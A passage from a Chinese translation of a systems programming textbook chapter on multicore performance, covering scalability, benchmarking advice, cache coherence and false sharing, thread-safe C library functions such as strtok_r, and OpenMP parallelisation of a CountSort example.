我们称一个程序为*可扩展*,如果随着资源(核心、处理器)或问题规模的增加,我们看到性能在提升(或保持不变)。两个相关的概念是*强扩展*和*弱扩展*。需要注意的是,"弱"和"强"在这里并不表示程序可扩展性的*质量*,而只是衡量可扩展性的不同方式。
我们说一个程序是*强可扩展*的,如果在*固定*问题规模下增加核心/处理单元的数量会提高性能。如果在*n*个核心上运行时加速比也是*n*,则该程序表现为强线性可扩展性。当然,阿姆达尔定律保证,在某个时刻,添加更多核心几乎没有意义。
如果在增加数据大小的速度与核心数相同的情况下(即每个核心/处理器有固定的数据大小)能够保持性能不变或有所提升,我们就说一个程序是*弱可扩展*的。如果当每个核心的工作量按因子*n*增加时,程序表现出弱线性可扩展性,我们就说这个程序表现出了弱线性可扩展性。
##### 关于性能测量的一般建议
我们在性能讨论的最后,附上一些关于基准测试和超线程核心性能的说明。
**在进行基准测试时多次运行程序。** 在本书前面的许多示例中,我们仅运行一次程序来感知其运行时间。然而,这对正式的基准测试来说是不够的。只运行一次程序*从来*无法准确测量程序的真实运行时间!上下文切换和其他运行中的进程可能会导致运行时间发生剧烈波动。因此,最好的做法是多次运行程序,并报告平均运行时间,同时尽可能提供更多的细节,包括运行次数、测量的波动性(例如误差条、最小值、最大值、中位数、标准差)以及测量时的条件。
**小心你测量时间的位置。** `gettimeofday`函数在帮助准确测量程序运行时间方面很有用,但也可能被滥用。尽管将`gettimeofday`调用仅放在`main`函数中的线程创建和加入部分可能很诱人,但你必须考虑你到底要测量什么。例如,如果一个程序在执行过程中需要读取外部数据文件,那么文件读取的时间应该包含在程序的计时中。
**注意超线程核心的影响。** 如在第 671 页的《仔细观察:多少个核心?》和第 283 页的《多核与硬件多线程》中讨论的那样,超线程(逻辑)核心能够在单个核心上执行多个线程。在一个具有每个核心两个逻辑线程的四核系统中,我们可以说系统有八个超线程核心。在八个逻辑核心上并行运行程序,通常比在四个核心上运行程序更能节省墙面时间。然而,由于超线程核心通常会发生资源竞争,你可能会看到核心效率下降以及非线性加速现象。
**警惕资源竞争。** 在进行基准测试时,始终要考虑系统上正在运行的*其他*进程和线程应用程序。如果你的性能结果看起来有些异常,快速运行`top`命令检查是否有其他用户在同一系统上运行资源密集型任务是非常值得的。如果是这样,尝试使用不同的系统进行基准测试(或者等到系统不那么繁忙时再进行)。
### 14.5 缓存一致性与虚假共享
多核缓存可能对多线程程序的性能产生深远的影响。然而,在此之前,让我们快速回顾一些与缓存设计相关的基本概念(更多细节见第 1299 页的“CPU 缓存”):
+ 数据/指令不会*单独*传输到缓存中。相反,数据是以*块*的形式传输的,并且块的大小通常在内存层次结构的较低级别变得更大。
+ 每个缓存被组织成一系列的集合,每个集合有若干行。每行存储一个数据块。
+ 内存地址的各个比特用于确定缓存的集合、标签和块偏移量,以将数据块写入缓存。
+ *缓存命中*发生在所需数据块存在于缓存中时。否则,发生*缓存未命中*,并且会在内存层次结构的下一级(可能是缓存或主内存)进行查找。
+ *有效位*表示缓存中特定行的块是否可以安全使用。如果有效位设置为 0,则该行的数据显示块不能使用(例如,该块可能包含来自已退出进程的数据)。
+ 信息是根据两种主要策略写入缓存/内存的。在*直写*策略中,数据同时写入缓存和主内存。在*回写*策略中,数据只写入缓存,并在缓存块被逐出后写入更低级别的内存。
#### 14.5.1 多核系统中的缓存
回想一下,在共享内存架构中,每个核心可以有自己的缓存(参见第 581 页的“展望:多核处理器中的缓存”),并且多个核心可以共享一个公共缓存。图 14-8 展示了一个示例的双核 CPU。尽管每个核心都有自己的本地 L1 缓存,但核心之间共享一个公共的 L2 缓存。

*图 14-8:一个示例的双核 CPU,具有独立的 L1 缓存和共享的 L2 缓存*
单个可执行文件中的多个线程可能执行不同的函数。如果没有*缓存一致性*策略(参见第 583 页的“缓存一致性”),确保每个缓存都能保持共享内存的一致视图,那么共享变量可能会被不一致地更新。例如,考虑图 14-8 中的双核处理器,其中每个核心并行执行不同的线程。分配给核心 0 的线程有一个本地变量`x`,而在核心 1 上执行的线程有一个本地变量`y`,并且两个线程都可以共享访问一个全局变量`g`。表 14-5 展示了一个可能的执行路径。
**表 14-5:由于缓存引起的问题数据共享**
| **时间** | **核心 0** | **核心 1** |
| --- | --- | --- |
| 0 | `g = 5` | (其他工作) |
| 1 | (其他工作) | `y = g*4` |
| 2 | `x += g` | `y += g*2` |
假设`g`的初始值为 10,`x`和`y`的初始值都为 0。那么,在这段操作序列结束时,`y`的最终值是多少?如果没有缓存一致性,这是一个非常难以回答的问题,因为至少有三个`g`的存储值:一个在 Core 0 的 L1 缓存中,一个在 Core 1 的 L1 缓存中,另一个是存储在共享的 L2 缓存中的`g`副本。
图 14-9 显示了在表 14-5 操作序列完成后可能出现的一个错误结果。假设 L1 缓存实现了写回策略。当在 Core 0 上执行的线程将值 5 写入`g`时,它仅更新 Core 0 L1 缓存中的`g`值。Core 1 的 L1 缓存中的`g`值仍然是 10,且共享 L2 缓存中的副本也不变。即使实现了写穿透策略,也不能保证存储在 Core 1 L1 缓存中的`g`副本会被更新!在这种情况下,`y`的最终值将是 60。

*图 14-9:一个没有采用缓存一致性策略的缓存更新问题*
一种缓存一致性策略是在一个缓存中对共享数据值进行写入时,使其他缓存中的该共享值的缓存副本无效或更新。*修改的共享无效*(MSI)协议(在《MSI 协议》一节中详细讨论,参见第 584 页)就是一种无效化缓存一致性协议的例子。
实现 MSI 的一种常见技术是嗅探。这样的*嗅探缓存*在内存总线上“嗅探”可能的写入信号。如果嗅探缓存检测到对共享缓存块的写入,它会使包含该缓存块的行无效。最终结果是,块的唯一有效版本存在于写入的缓存中,而*所有其他*缓存中的该块副本都会被标记为无效。
使用嗅探的 MSI 协议将会导致前述例子中变量`y`最终赋值为`30`。
#### 14.5.2 错误共享
缓存一致性保证了正确性,但它可能会影响性能。回想一下,当线程在 Core 0 上更新`g`时,嗅探缓存不仅使`g`无效,还使包含`g`的*整个缓存行*无效。
考虑我们最初尝试并行化 CountSort 算法中的`countElems`函数。⁴ 为了方便,这里重新列出该函数:
/*parallel version of step 1 (first cut) of CountSort algorithm:
* extracts arguments from args value
* calculates portion of the array this thread is responsible for counting
* computes the frequency of all the elements in assigned component and stores
* the associated counts of each element in counts array
*/
void *countElems(void *args){
//extract arguments
//ommitted for brevity
int *array = myargs->ap;
long *counts = myargs->countp;
//assign work to the thread
//compute chunk, start, and end
//ommited for brevity
long i;
//heart of the program
for (i = start; i < end; i++){
val = array[i];
counts[val] = counts[val] + 1;
}
return NULL;
}
在我们之前讨论这个函数时(参见《数据竞争》一节,见第 691 页),我们指出了数据竞争如何导致`counts`数组没有正确填充。让我们看看如果我们尝试*计时*这个函数会发生什么。我们使用`getimeofday`在`main`中添加计时代码,像以前一样。⁶ 在 1 亿个元素上对`countElems`的初始版本进行基准测试,得到了以下时间:
$ ./countElems_p 100000000 0 1
Time for Step 1 is 0.336239 s
$ ./countElems_p 100000000 0 2
Time for Step 1 is 0.799464 s
$ ./countElems_p 100000000 0 4
Time for Step 1 is 0.767003 s
即使没有任何同步构造,随着线程数的增加,这个版本的程序*仍然会变慢*!
为了理解发生了什么,让我们重新审视 `counts` 数组。这个数组存储了输入数组中每个数字的出现频率。最大值由变量 `MAX` 决定。在我们的示例程序中,`MAX` 被设置为 10。换句话说,`counts` 数组占用了 40 字节的空间。
请回忆,在 Linux 系统上的缓存详情(参见《展望未来:多核处理器上的缓存》章节,第 581 页)位于 `/sys/devices/system/cpu/` 目录中。每个逻辑核心都有自己的 `cpu` 子目录,名为 `cpuk`,其中 `k` 表示第 *k* 个逻辑核心。每个 `cpu` 子目录又有单独的 `index` 目录,指示该核心可用的缓存。
`index` 目录包含关于每个逻辑核心缓存的众多详细信息。一个示例 `index0` 目录的内容如下所示(`index0` 通常对应于 Linux 系统的 L1 缓存):
$ ls /sys/devices/system/cpu/cpu0/cache/index0
coherency_line_size power type
level shared_cpu_list uevent
number_of_sets shared_cpu_map ways_of_associativity
physical_line_partition size
要发现 L1 缓存的缓存行大小,可以使用以下命令:
$ cat /sys/devices/system/cpu/cpu0/cache/coherency_line_size
64
输出显示机器的 L1 缓存行大小为 64 字节。换句话说,40 字节的 `counts` 数组完全可以*放在一个缓存行内*。
请回忆,在像 MSI 这样的失效缓存一致性协议中,每当程序更新一个共享变量时,*存储该变量的其他缓存中整个缓存行都会被使无效*。让我们考虑当两个线程执行上述函数时会发生什么。可能的执行路径如 表 14-6 所示(假设每个线程被分配到一个单独的核心,并且变量 `x` 对每个线程都是局部的)。
**表 14-6:** 两个线程执行 `countElems` 的可能执行序列
| **时间** | **线程 0** | **线程 1** |
| --- | --- | --- |
| *i* | 读取 `array[x]` | … |
| | (1) | |
| *i* + 1 | 增加 `counts[1]` (**使无效** | 读取 `array[x]` (4) |
| | **缓存行**) | |
| *i* + 2 | 读取 `array[x]` (6) | 增加 `counts[4]` (**使无效** |
| | | **缓存行**) |
| *i* + 3 | 增加 `counts[6]` (**使无效** | 读取 `array[x]` (2) |
| | **缓存行**) | |
| *i* + 4 | 读取 `array[x]` (3) | 增加 `counts[2]` (**使无效** |
| | | **缓存行**) |
| *i* + 5 | 增加 `counts[3]` (**使无效** | … |
| | **缓存行**) | |
在时间步 *i* 中,线程 0 读取它自己部分的 `array[x]` 的值,在这个示例中是 1。在时间步 *i* + 1 到 *i* + 5 之间,每个线程都会读取一个 `array[x]` 的值。请注意,每个线程查看的是数组的不同部分。不仅如此,我们的示例执行中,每次读取 `array` 都得到唯一的值(因此在这个示例执行序列中没有竞争条件!)。在读取 `array[x]` 的值后,每个线程都会增加 `counts` 中相应的值。
记住,`counts` 数组*适配到一个单独的缓存行*,存储在我们的 L1 缓存中。因此,每次对 `counts` 的写操作都会使*每个其他 L1 缓存中的整行*失效。最终结果是,尽管更新了 `counts` 中的*不同*内存位置,但任何包含 `counts` 的缓存行都会在对 `counts`的*每次更新*时被*失效*!
缓存行的失效会迫使所有 L1 缓存更新该行,并从 L2 获取一个“有效”的版本。L1 缓存的反复失效和重写行是*抖动*的一个例子,其中缓存中的重复冲突导致一系列的未命中。
增加更多核心会使问题更加严重,因为现在更多的 L1 缓存会使缓存行失效。因此,尽管每个线程访问的是 `counts` 数组中不同的元素,但增加额外线程会使运行速度变慢!这是一个*伪共享*的例子,或者说是多个核心共享单个元素的错觉。在前一个例子中,所有核心似乎都在访问 `counts` 中的相同元素,尽管事实并非如此。
#### 14.5.3 修复伪共享
修复伪共享问题的一种方法是用额外的元素填充数组(在我们这个例子中是 `counts`),使其不再适配单个缓存行。然而,填充可能浪费内存,并且可能无法解决所有架构中的问题(考虑到两台不同机器的 L1 缓存大小不同)。在大多数情况下,编写支持不同缓存大小的代码通常不值得为了性能提升而付出代价。
更好的解决方案是尽可能让线程写入*本地存储*。在这个上下文中,本地存储是指*仅限线程使用*的内存。以下解决方案通过选择对名为 `local_counts` 的本地声明版本进行更新,从而减少伪共享。
让我们回顾一下 `countElems` 函数的最终版本:⁶
/*parallel version of CountSort algorithm step 1 (final attempt with mutexes):
* extracts arguments from args value
* calculates the portion of the array this thread is responsible for counting
* computes the frequency of all the elements in assigned component and stores
* the associated counts of each element in counts array
*/
void *countElems( void *args ){
//extract arguments
//omitted for brevity
int *array = myargs->ap;
long *counts = myargs->countp;
long local_counts[MAX] = {0}; //local declaration of counts array
//assign work to the thread
//compute chunk, start, and end values (omitted for brevity)
long i;
//heart of the program
for (i = start; i < end; i++){
val = array[i];
local_counts[val] = local_counts[val] + 1; //update local counts array
}
//update to global counts array
pthread_mutex_lock(&mutex); //acquire the mutex lock
for (i = 0; i < MAX; i++){
counts[i] += local_counts[i];
}
pthread_mutex_unlock(&mutex); //release the mutex lock
return NULL;
}
使用 `local_counts` 来累积频率,代替 `counts` 是本例中减少伪共享的主要原因:
for (i = start; i < end; i++){
val = array[i];
local_counts[val] = local_counts[val] + 1; //updates local counts array
}
由于缓存一致性旨在保持共享内存的一致视图,只有对内存中的*共享值*进行*写操作*时,失效才会触发。由于 `local_counts` 在不同线程之间没有共享,因此对它的写操作不会使其关联的缓存行失效。
在代码的最后一个部分,互斥锁通过确保一次只有一个线程更新共享的 `counts` 数组来保证正确性:
//update to global counts array
pthread_mutex_lock(&mutex); //acquire the mutex lock
for (i = 0; i < MAX; i++){
counts[i] += local_counts[i];
}
pthread_mutex_unlock(&mutex); //release the mutex lock
由于 `counts` 位于单个缓存行中,每次写操作仍然会使其失效。不同之处在于,这里的惩罚最多是 `MAX` × *t* 次写操作,而不是 *n* 次写操作,其中 *n* 是输入数组的长度,*t* 是使用的线程数。
### 14.6 线程安全
到目前为止,我们已经讨论了程序员可以使用的同步构造,以确保他们的多线程程序无论线程数量如何,都是一致且正确的。然而,在任何多线程应用程序的上下文中,并不总是安全地假设可以“直接”使用标准 C 库函数。并非所有 C 库中的函数都是*线程安全*的,或者说并不是所有函数都能在多个线程中运行时,保证正确的结果且不会产生意外的副作用。为了确保我们编写的程序是线程安全的,使用同步原语(如互斥锁和屏障)强制执行多线程程序的一致性和正确性是非常重要的,无论线程数量如何变化。
与线程安全密切相关的另一个概念是可重入性。所有线程安全的代码都是可重入的;然而,并非所有可重入的代码都是线程安全的。如果一个函数能够被另一个函数重新执行或部分执行而不会引发问题,则该函数是*可重入*的。按定义,可重入的代码确保对程序全局状态的访问始终保持全局状态的一致性。虽然可重入性常常(错误地)作为线程安全的同义词使用,但实际上有一些特殊情况,导致可重入的代码并非线程安全。
在编写多线程代码时,需要验证所使用的 C 库函数是否确实是线程安全的。幸运的是,线程不安全的 C 库函数列表相对较小。Open Group 友好地维护了一份线程不安全函数的列表。^(11)
#### 14.6.1 解决线程安全问题
同步原语是解决线程安全问题最常见的方法。然而,未知地使用线程不安全的 C 库函数可能会导致一些微妙的问题。让我们看一下稍微修改过的`countsElem`函数版本,称为`countElemsStr`,该版本尝试计算给定字符串中数字的频率,数字之间用空格分隔。以下程序已编辑为简洁版;该程序的完整源代码可以在线获得。^(12)
/* computes the frequency of all the elements in the input string and stores
* the associated counts of each element in the array called counts. */
void countElemsStr(int *counts, char *input_str) {
int val, i;
char *token;
token = strtok(input_str, " ");
while (token != NULL) {
val = atoi(token);
counts[val] = counts[val] + 1;
token = strtok(NULL, " ");
}
}
/* main function:
* calls countElemsStr on a static string and counts up all the digits in
* that string. */
int main( int argc, char **argv ) {
//lines omitted for brevity, but gets user defined length of string
//fill string with n digits
char *inputString = calloc(length * 2, sizeof(char));
fillString(inputString, length * 2);
countElemsStr(counts, inputString);
return 0;
}
`countElemsStr`函数使用`strtok`函数(如我们在“strtok, strtok_r”部分讨论中所述,见第 100 页)来解析字符串中的每个数字(存储在`token`中),然后将其转换为整数,并在`counts`数组中进行相关更新。
在 100,000 个元素上编译并运行该程序时,输出如下:
$ gcc -o countElemsStr countElemsStr.c
$ ./countElemsStr 100000 1
contents of counts array:
9963 9975 9953 10121 10058 10017 10053 9905 9915 10040
现在,让我们来看一下`countElemsStr`的多线程版本:^(13)
/* parallel version of countElemsStr (First cut):
* computes the frequency of all the elements in the input string and stores
* the associated counts of each element in the array called counts
*/
void *countElemsStr(void *args) {
//parse args
struct t_arg *myargs = (struct t_arg *)args;
//omitted for brevity
//local variables
int val, i;
char *token;
int local_counts[MAX] = {0};
//compute local start and end values and chunk size:
//omitted for brevity
//tokenize values
token = strtok(input_str + start, " ");
while (token != NULL) {
val = atoi(token); //convert to an int
local_counts[val] = local_counts[val] + 1; //update associated counts
token = strtok(NULL, " ");
}
pthread_mutex_lock(&mutex);
for (i = 0; i < MAX; i++) {
counts[i] += local_counts[i];
}
pthread_mutex_unlock(&mutex);
return NULL;
}
在这个版本的程序中,每个线程处理由`input_str`引用的字符串的不同部分。`local_counts`数组确保大部分写操作发生在本地存储中。使用互斥锁来确保没有两个线程同时写入共享变量`counts`。
然而,编译并运行该程序会产生以下结果:
$ gcc -o countElemsStr_p countElemsStr_p.c -lpthread
$ ./countElemsStr_p 100000 1 1
contents of counts array:
9963 9975 9953 10121 10058 10017 10053 9905 9915 10040
$ ./countElemsStr_p 100000 1 2
contents of counts array:
498 459 456 450 456 471 446 462 450 463
$ ./countElemsStr_p 100000 1 4
contents of counts array:
5038 4988 4985 5042 5056 5013 5025 5035 4968 5065
尽管在访问 `counts` 数组时使用了互斥锁,但不同运行的结果仍然截然不同。这个问题的根源在于 `countsElemsStr` 函数不是线程安全的,因为字符串库函数 `strtok` 是*不线程安全的*!访问 OpenGroup 网站¹¹可以确认 `strtok` 在不安全线程函数的列表中。
为了修复这个问题,只需将 `strtok` 替换为其线程安全的替代函数 `strtok_r`。在后者函数中,使用一个指针作为最后一个参数,帮助线程跟踪当前正在解析的字符串位置。以下是使用 `strtok_r` 的修复后的函数:^(14)
/* parallel version of countElemsStr (First cut):
* computes the frequency of all the elements in the input string and stores
* the associated counts of each element in the array called counts */
void* countElemsStr(void* args) {
//parse arguments
//omitted for brevity
//local variables
int val, i;
char * token;
int local_counts[MAX] = {0};
char * saveptr; //for saving state of strtok_r
//compute local start and end values and chunk size:
//omitted for brevity
//tokenize values
token = strtok_r(input_str+start, " ", &saveptr);
while (token != NULL) {
val = atoi(token); //convert to an int
local_counts[val] = local_counts[val]+1; //update associated counts
token = strtok_r(NULL, " ", &saveptr);
}
pthread_mutex_lock(&mutex);
for (i = 0; i < MAX; i++) {
counts[i]+=local_counts[i];
}
pthread_mutex_unlock(&mutex);
return NULL;
}
这个版本的代码唯一的变化是声明了字符指针 `saveptr`,并将所有 `strtok` 的实例替换为 `strtok_r`。在这些更改下重新运行代码,输出如下:
$ gcc -o countElemsStr_p_v2 countElemsStr_p_v2.c -lpthread
$ ./countElemsStr_p_v2 100000 1 1
contents of counts array:
9963 9975 9953 10121 10058 10017 10053 9905 9915 10040
$ ./countElemsStr_p_v2 100000 1 2
contents of counts array:
9963 9975 9953 10121 10058 10017 10053 9905 9915 10040
$ ./countElemsStr_p_v2 100000 1 4
contents of counts array:
9963 9975 9953 10121 10058 10017 10053 9905 9915 10040
现在,程序每次运行都产生相同的结果。使用 `saveptr` 与 `strtok_r` 一起确保了每个线程都能独立跟踪它们在解析字符串时的位置。
本节的要点是,在编写多线程应用程序时,应该始终检查 C 语言中的线程不安全函数列表¹¹。这样做可以帮助程序员避免在编写和调试多线程应用时遇到许多痛苦和挫折。
### 14.7 使用 OpenMP 的隐式线程化
到目前为止,我们已经介绍了使用 POSIX 线程进行共享内存编程。尽管 Pthreads 非常适合简单应用,但随着程序本身变得越来越复杂,它们的使用变得越来越困难。POSIX 线程是*显式并行编程*的一个例子,需要程序员明确指定每个线程要做什么,以及每个线程何时开始和停止。
使用 Pthreads 时,将并行性*渐进式*地添加到现有的顺序程序中也是一个挑战。也就是说,通常需要彻底重写程序以使用线程,而在尝试并行化一个庞大的现有代码库时,这往往是不太理想的做法。
Open Multiprocessing(OpenMP)库实现了一个*隐式*的 Pthreads 替代方案。OpenMP 内置于 GCC 和其他流行的编译器(如 LLVM 和 Clang)中,并可以与 C、C++ 和 Fortran 编程语言一起使用。OpenMP 的一个关键优势是,它使程序员能够通过向现有的顺序 C 代码中添加*指令*(特殊的编译器指令)来实现并行化。专门用于 OpenMP 的指令以 `#pragma omp` 开头。
本书并未详细介绍 OpenMP,但我们涵盖了一些常见的指令,并展示了如何在一些示例应用的上下文中使用它们。
#### 14.7.1 常用的指令
以下是 OpenMP 程序中最常用的一些指令:
#pragma omp parallel 此指令创建一个线程组,并让每个线程在其作用域内(通常是一个函数调用)执行代码。调用该指令通常等同于在《创建和加入线程》的第 679 页中讨论的 `pthread_create` 和 `pthread_join` 函数组合。该指令可以有多个子句,包括以下内容:
num_threads 指定要创建的线程数。
private 一个变量列表,指定这些变量应该是每个线程私有的(或局部的)。那些应该是线程私有的变量也可以在指令的作用域内声明(参见下文示例)。每个线程都获得每个变量的一个副本。
shared 一个变量列表,指定这些变量应该在所有线程之间共享。该变量有一个副本,所有线程共享。
default 指示是否让编译器决定哪些变量应当共享。在大多数情况下,我们希望使用 `default(none)` 并明确指定哪些变量应该共享,哪些应该是私有的。
#pragma omp for 指定每个线程执行 `for` 循环的一个子集。虽然循环的调度由系统决定,默认方法通常是“块化”方法,这在《重新审视标量乘法》的第 682 页中首次讨论。这是一种*静态*调度形式:每个线程得到一个指定的块,然后处理该块中的迭代。然而,OpenMP 也使得*动态*调度变得容易。在动态调度中,每个线程得到一定数量的迭代,并在处理完自己的迭代后请求一个新的迭代集。调度策略可以使用以下子句设置:
schedule(dynamic) 指定应使用*动态*调度方式。虽然在某些情况下这样做有优势,但静态(默认)调度方式通常更快。
#pragma omp parallel for 此指令是 `omp parallel` 和 `omp for` 指令的组合。与 `omp for` 指令不同,`omp parallel for` 指令在分配每个线程一组循环迭代之前,还会生成一个线程组。
#pragma omp critical 此指令用于指定其作用域内的代码应该作为*临界区*处理——即,只有一个线程可以在任何时刻执行该段代码,以确保正确的行为。
还有一些*函数*,线程可以访问它们,这些函数在执行时通常非常有用。例如:
omp_get_num_threads 返回当前线程组中正在执行的线程数。
omp_set_num_threads 设置一个线程组应该拥有的线程数。
omp_get_thread_num 返回调用线程的标识符。
**警告:OMP PARALLEL FOR 指令仅适用于 FOR 循环!**
请记住,`omp parallel for` 指令*仅*对 `for` 循环有效。其他类型的循环,如 `while` 循环和 `do`–`while` 循环不受支持。
#### 14.7.2 Hello 线程:OpenMP 风格
让我们重新审视我们的“Hello World”程序²,现在使用 OpenMP 代替 Pthreads:
include <stdio.h>
include <stdlib.h>
include <omp.h>
void HelloWorld( void ) {
long myid = omp_get_thread_num();
printf( "Hello world! I am thread %ld\n", myid );
}
int main( int argc, char** argv ) {
long nthreads;
if (argc !=2) {
fprintf(stderr, "usage: %s
fprintf(stderr, "where
return 1;
}
nthreads = strtol( argv[1], NULL, 10 );
#pragma omp parallel num_threads(nthreads)
HelloWorld();
return 0;
}
请注意,OpenMP 程序比 Pthreads 版本*短得多*。为了访问 OpenMP 库函数,我们包含了头文件 `omp.h`。`main` 中的 `omp parallel num_threads(nthreads)` 指令创建了一组线程,每个线程都会调用 `HelloWorld` 函数。`num_threads(nthreads)` 子句指定应该生成总共 `nthreads` 个线程。该指令还将每个创建的线程重新合并回单线程进程。换句话说,所有的低级线程创建和合并工作都被*抽象*化,程序员只需包含一个指令即可完成。因此,OpenMP 被认为是一个*隐式线程*库。
OpenMP 还抽象化了显式管理线程 ID 的需求。在 `HelloWorld` 的上下文中,`omp_get_thread_num` 函数提取与正在运行该线程相关的唯一 ID。
##### 编译代码
让我们通过将 `-fopenmp` 标志传递给编译器来编译并运行此程序,这会告诉编译器我们正在使用 OpenMP 进行编译:
$ gcc -o hello_mp hello_mp.c -fopenmp
$ ./hello_mp 4
Hello world! I am thread 2
Hello world! I am thread 3
Hello world! I am thread 0
Hello world! I am thread 1
由于线程的执行顺序可能会随着后续运行而改变,重新运行该程序会产生不同的消息顺序:
$ ./hello_mp 4
Hello world! I am thread 3
Hello world! I am thread 2
Hello world! I am thread 1
Hello world! I am thread 0
这种行为与我们在 Pthreads 中的示例一致(见“Hello 线程!编写你的第一个多线程程序”在 第 677 页)。
#### 14.7.3 一个更复杂的例子:在 OpenMP 中的 CountSort
OpenMP 的一个强大优势是它使程序员能够逐步将代码并行化。为了看到这一点,让我们并行化本章前面讨论的更复杂的 CountSort 算法。回想一下,该算法对包含小范围值的数组进行排序。串行程序的主函数³如下所示:
int main( int argc, char **argv ) {
//parse args (omitted for brevity)
srand(10); //use of static seed ensures the output is the same every run
//generate random array of elements of specified length
//(omitted for brevity)
//allocate counts array and initializes all elements to zero.
int counts[MAX] = {0};
countElems(counts, array, length); //calls step 1
writeArray(counts, array); //calls step2
free(array); //free memory
return 0;
}
`main` 函数在进行一些命令行解析和生成随机数组后,调用 `countElems` 函数,然后是 `writeArray` 函数。
##### 使用 OpenMP 并行化 CountElems
有几种方法可以并行化上述程序。一种方法(如下例所示)是在 `countElems` 和 `writeArray` 函数的上下文中使用 `omp parallel` 指令。因此,无需对 `main` 函数进行更改。^(15)
首先,让我们来看看如何使用 OpenMP 对 `countElems` 函数进行并行化:
void countElems(int *counts, int *array, long length) {
#pragma omp parallel default(none) shared(counts, array, length)
{
int val, i, local[MAX] = {0};
#pragma omp for
for (i = 0; i < length; i++) {
val = array[i];
local[val]++;
}
#pragma omp critical
{
for (i = 0; i < MAX; i++) {
counts[i] += local[i];
}
}
}
}
在这版本的代码中,使用了三个指令。`#pragma omp parallel` 指令表示应创建一个线程组。`main` 中的 `omp_set_num_threads(nthreads)` 语句设置线程组的默认大小为 `nthreads`。如果没有使用 `omp_set_num_threads` 函数,则分配的线程数将等于系统中的核心数。提醒一下,`omp parallel` 指令在块的开始时隐式创建线程,在块结束时合并线程。大括号 (`{}`) 用于指定作用域。`shared` 子句声明 `counts`、`array` 和 `length` 变量在所有线程之间是共享的(全局的)。因此,变量 `val`、`i` 和 `local[MAX]` 在每个线程中被声明为*局部*变量。
下一个指令是 `#pragma omp for`,它将并行化 `for` 循环,将迭代次数分配到各个线程之间。OpenMP 会计算如何最好地拆分循环的迭代次数。如前所述,默认策略通常是分块方法,即每个线程计算大致相同数量的迭代次数。因此,每个线程读取共享数组 `array` 的一个组件,并将其计数累加到本地数组 `local` 中。
`#pragma omp critical` 指令表示在临界区范围内的代码应该由每次只有一个线程执行。这相当于在这个程序的 Pthreads 版本中使用的互斥锁。在这里,每个线程一次只递增共享的 `counts` 数组。
让我们通过使用 1 亿个元素来测试这个函数的性能:
$ ./countElems_mp 100000000 1
Run Time for Phase 1 is 0.249893
$ ./countElems_mp 100000000 2
Run Time for Phase 1 is 0.124462
$ ./countElems_mp 100000000 4
Run Time for Phase 1 is 0.068749
这是一个优秀的性能表现,我们的函数在两个线程上加速了 2 倍,在四个线程上加速了 3.63 倍。我们甚至获得了比 Pthreads 实现更好的性能!
##### OpenMP 中的 writeArray 函数
将 `writeArray` 函数并行化要*困难*得多。下面的代码展示了一个可能的解决方案:
void writeArray(int *counts, int *array) {
int i;
//assumed the number of threads is no more than MAX
#pragma omp parallel for schedule(dynamic)
for (i = 0; i < MAX; i++) {
int j = 0, amt, start = 0;
for (j = 0; j < i; j++) { //calculate the "true" start position
start += counts[j];
}
amt = counts[i]; //the number of array positions to fill
//overwrite amt elements with value i, starting at position start
for (j = start; j < start + amt; j++) {
array[j] = i;
}
}
}
在并行化之前,我们对这个函数进行了修改,因为旧版本的 `writeArray` 使得 `j` 对循环的前几次迭代产生了依赖关系。在这个版本中,每个线程根据 `counts` 中所有前面元素的总和来计算其独特的 `start` 值。
当移除这个依赖关系后,并行化就变得非常直接。`#pragma omp parallel for` 指令创建了一个线程组,并通过为每个线程分配循环迭代的子集来并行化 `for` 循环。提醒一下,这个指令是 `omp parallel` 和 `omp for` 指令的结合(它们曾被用于 `countElems` 的并行化)。
一种用于调度线程的分块方法(如前面的`countElems`函数所示)在这里并不合适,因为`counts`中的每个元素可能具有完全不同的频率。因此,线程之间的工作量不均等,导致一些线程被分配的工作量比其他线程更多。因此,采用了`schedule(dynamic)`子句,以便每个线程在向线程管理器请求新的迭代之前,先完成其分配的迭代任务。
由于每个线程都写入不同的数组位置,因此该函数不需要互斥。
请注意,OpenMP 代码比 POSIX 线程实现要简洁得多。代码非常易读,并且只需要很少的修改。这就是*抽象*的力量,在抽象中,程序员不需要关注实现细节。
然而,抽象的必要权衡是控制。程序员假设编译器足够“智能”以处理并行化的细节,从而使得并行化应用变得更加轻松。然而,程序员不再对并行化的具体细节做出详细决策。如果不了解 OpenMP 指令在幕后是如何执行的,调试 OpenMP 应用或确定何时使用最合适的指令可能会变得困难。
#### 14.7.4 进一步了解 OpenMP
本书的范围之外是对 OpenMP 的深入讨论,但有一些有用的免费资源可以帮助学习^(16)和使用^(17) OpenMP。
### 14.8 总结
本章概述了多核处理器及其编程方法。具体来说,我们介绍了 POSIX 线程(或 Pthreads)库,以及如何使用它来创建正确的多线程程序,从而加速单线程程序的性能。像 POSIX 和 OpenMP 这样的库利用了*共享内存*通信模型,因为线程在一个公共内存空间中共享数据。
#### 关键要点
**线程是并发程序的基本单元。** 为了将串行程序并行化,程序员利用一种被称为*线程*的轻量级构造。对于特定的多线程进程,每个线程都有自己的堆栈内存分配,但共享该进程的程序数据、堆和指令。与进程一样,线程在 CPU 上*非确定性地*运行(即,执行顺序在每次运行时都会变化,且哪个线程被分配到哪个核心由操作系统决定)。
**同步构造确保程序正确运行。** 共享内存的一个后果是线程可能会不小心覆盖共享内存中的数据。每当两个操作错误地更新一个共享值时,就可能发生*竞态条件*。当这个共享值是数据时,一种特殊类型的竞态条件——*数据竞争*——就会出现。同步构造(互斥锁、信号量等)通过确保线程在更新共享变量时逐个执行,从而帮助保证程序的正确性。
**使用同步构造时要小心。** 同步本质上会在一个本应并行的程序中引入串行计算的点。因此,了解如何使用同步概念非常重要。必须原子性执行的一组操作称为*临界区*。如果临界区过大,线程将串行执行,无法提高运行时性能。若不小心使用同步构造,可能会无意中导致像*死锁*这样的情况发生。一个好的策略是尽可能让线程使用局部变量,仅在必要时更新共享变量。
**并非所有程序的组件都可以并行化。** 一些程序必然包含大量的串行部分,这会影响多核环境下多线程程序的性能(例如,*阿姆达尔定律*)。即使一个程序的大部分是可以并行化的,加速也很少是线性的。读者还被鼓励在评估程序性能时,参考其他指标,如效率和可扩展性。
#### 进一步阅读
本章旨在提供并发话题的概览,使用线程作为示例;内容并不详尽。要深入了解使用 POSIX 线程和 OpenMP 的编程,建议查阅 Blaise Barney 在劳伦斯·利弗莫尔国家实验室提供的关于 Pthreads^(18)和 OpenMP^(19)的优秀教程。对于并行程序调试的自动化工具,读者可以查阅 Helgrind^(20)和 DRD^(21) Valgrind 工具。
在本书的最后一章,我们将提供其他常见并行架构的高层次概述,以及如何编程实现这些架构。
### 注意事项
